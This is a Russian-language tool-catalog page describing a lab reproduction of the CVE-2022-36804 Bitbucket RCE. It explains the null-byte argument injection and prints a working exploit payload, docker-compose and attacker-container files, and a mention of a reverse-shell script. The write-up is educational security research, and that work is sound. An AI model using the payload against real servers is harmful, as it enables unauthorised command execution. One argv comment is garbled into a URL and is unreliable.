Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-36804-Bitbucket-RCE-Analysis — Воспроизведение полной цепочки эксплуатации CVE-2022-36804 (Bitbucket RCE). Включает Docker-лабораторию, мониторинг pspy64 для проверки инъекции нулевого байта и собственный эксплойт-скрипт на Bash. Основано на исследовании Assetnote. | Kitploit
Инструменты/GitHubGitHub/danielhallbro/cve-2022-36804-bitbucket-rce-analysis
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
Лаборатории и Практика
GitHubdanielhallbro/cve-2022-36804-bitbucket-rce-analysis

CVE-2022-36804-Bitbucket-RCE-Analysis

Воспроизведение полной цепочки эксплуатации CVE-2022-36804 (Bitbucket RCE). Включает Docker-лабораторию, мониторинг pspy64 для проверки инъекции нулевого байта и собственный эксплойт-скрипт на Bash. Основано на исследовании Assetnote.

Репозиторий
167 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2022-36804: Bitbucket — удалённое выполнение команд (RCE)

Технический анализ и лабораторная эксплуатация внедрения аргументов через null-байт

Сводка об уязвимости

CVE-2022-36804 — это уязвимость уровня высокий/критический, связанная с внедрением аргументов в REST API Atlassian Bitbucket Server и Data Center.

Хотя официальная базовая оценка NVD (National Vulnerability Database) составляет 8.8 (High) исходя из предположения о необходимости прав на чтение (PR:L), в этом анализе уязвимость рассматривается как 9.8 (Critical) (PR:N). Если в целевом репозитории включён публичный доступ — частая конфигурация — вектор эксплуатации становится полностью пред-аутентификационным (без аутентификации).

Этот репозиторий документирует полную лабораторную репродукцию цепочки эксплуатации, основанную непосредственно на техническом исследовании, опубликованном Assetnote.

В анализе подробно описывается переход от оркестрации окружения и обхода фильтров безопасности к получению интерактивного reverse shell. Как указано в первоначальном исследовании, эта ошибка позволяет выполнять удалённое выполнение команд (RCE), которое может быть использовано без аутентификации, если в целевом репозитории включён публичный доступ.

Технический разбор: несоответствие null-байта

Уязвимость коренится в «рассогласовании очистки» (Sanitization Impedance Mismatch) между средой выполнения Java-приложения и операционной системой Linux.

Как отмечено в исследовании Assetnote, Bitbucket использует библиотеку NuProcess для формирования и выполнения Git-команд. Когда пользователь передаёт параметр prefix в конечную точку /archive, Bitbucket не удаляет нулевые символы (%00) перед передачей списка аргументов в ОС.

  • Точка зрения Java: рассматривает входные данные как единый строковый объект, который безопасно содержит null-байт.
  • Точка зрения ядра Linux: написанное на C, ядро использует нулевые символы для завершения строк. Когда execve() обрабатывает команду, оно обрезает строку на %00. Из-за того, как NuProcess передаёт данные, ОС рассматривает всё, что следует за null-байтом, как совершенно новый аргумент командной строки.

Внедряя --exec=..., атакующий выходит за пределы предполагаемого флага --prefix и заставляет процесс git archive выполнить произвольный бинарный файл, что приводит к удалённому выполнению команд (RCE).

Нажмите, чтобы развернуть: анатомия полезной нагрузки и «сдвиг массива»

Чтобы понять, как эксплойт переходит от простого параметра URL к команде уровня ОС, необходимо разобрать структуру полезной нагрузки и проследить «сдвиг массива».

1. Разбор полезной нагрузки

prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x

КомпонентНазначениеТехническая роль
prefix=xОбязательное условиеgit archive требует префикс; x выступает в роли заполнителя.
%00НожNull-байт. Java пропускает его, но ядро Linux (на C) завершает здесь строку.
--exec=...Триггер RCEОпасный флаг. Использует встроенную функцию Git для выполнения внешних программ.
touch ...ДействиеКоманда, которую нужно выполнить. Безопасный PoC для проверки RCE.
--remote=...Мусорная корзинаПоглощает идентификатор коммита (добавляемый Bitbucket) как допустимый аргумент, обеспечивая чистое выполнение команды без синтаксических ошибок.

2. Наглядная иллюстрация «сдвига массива»

Это иллюстрирует суть уязвимости: как данные (префикс каталога) превращаются в инструкцию (флаг команды).

Контекст выполнения Java (исходное состояние):

Java видит одну длинную строку как третий аргумент.

[
  "git",                                      // Index 0
  "archive",                                  // Index 1
  "--prefix=x\0--exec=...\0--remote=...\0x",  // Index 2: The single, polluted string
  "1a2b3c4d..."                               // Index 3: Appended by Bitbucket
]

Выполнение ядром Linux (эксплуатируемое состояние):

Системный вызов execve() ядра разбивает строку по каждому null-байту (\0), смещая внедрённые флаги в их собственные позиции в массиве аргументов процесса.

[
  "git",                                      // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/main/Executable
  "archive",                                  // argv[1]: Subcommand
  "--prefix=x",                               // argv[2]: Terminated early by %00
  "--exec=/bin/bash -c 'touch /tmp/pwned'",   // argv[3]: THE INJECTED FLAG (RCE)
  "--remote=file:///",                        // argv[4]: THE TRASHCAN (Redirects logic)
  "1a2b3c4d..."                               // argv[5]: COMMIT ID (Consumed by --remote)
]

Лабораторная настройка

Для имитации реалистичной поверхности атаки лабораторная среда использует двухконтейнерную архитектуру, изолированную в мостовой сети Docker (hacking_net). Такая настройка гарантирует, что эксплуатация и мониторинг выполняются в контролируемой среде, не затрагивая хост-систему.

Компоненты архитектуры

  • Узел-жертва: работает под управлением Atlassian Bitbucket Server версии 7.17.1. Контейнер намеренно назван bitbucket-victim. Это отражает важное проектное уточнение, сделанное для обеспечения соответствия требованиям Apache Tomcat по RFC 7230. Использование дефиса вместо подчёркивания позволяет среде избежать ошибок 400 «Invalid Character», возникающих во время выполнения полезной нагрузки, — ключевое техническое препятствие, обнаруженное и устранённое в ходе исследования.

  • Узел атакующего: специально подготовленный образ Kali Linux rolling. В отличие от стандартного образа, этот узел заранее укомплектован конкретным набором инструментов, необходимым для данной цепочки эксплойта: git для работы с репозиторием, curl для доставки полезной нагрузки и netcat-traditional для перехвата reverse shell.

docker-compose.yml (версия, соответствующая RFC Tomcat)
services:
  bitbucket:
    image: atlassian/bitbucket-server:7.17.1
    container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
    ports:
      - "7990:7990"
    volumes:
      - ./bitbucket-data:/var/atlassian/application-data/bitbucket
    networks:
      - hacking_net

  kali:
    build: .
    container_name: kali_attacker
    tty: true
    networks:
      - hacking_net

networks:
  hacking_net:
    driver: bridge

dockerfile (узел атакующего)
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling

# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
    apt-get install -y git curl netcat-traditional nano python3 && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Set the working directory to /root for convenience
WORKDIR /root

# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]

Проверка в лаборатории (быстрый путь)

Если вы уже развернули среду с помощью docker-compose.yml, приведённого выше, вы можете использовать включённый скрипт exploit.sh, чтобы проверить уязвимость и получить reverse shell за считанные секунды. 1. Подготовьте слушатель

Скачать инструмент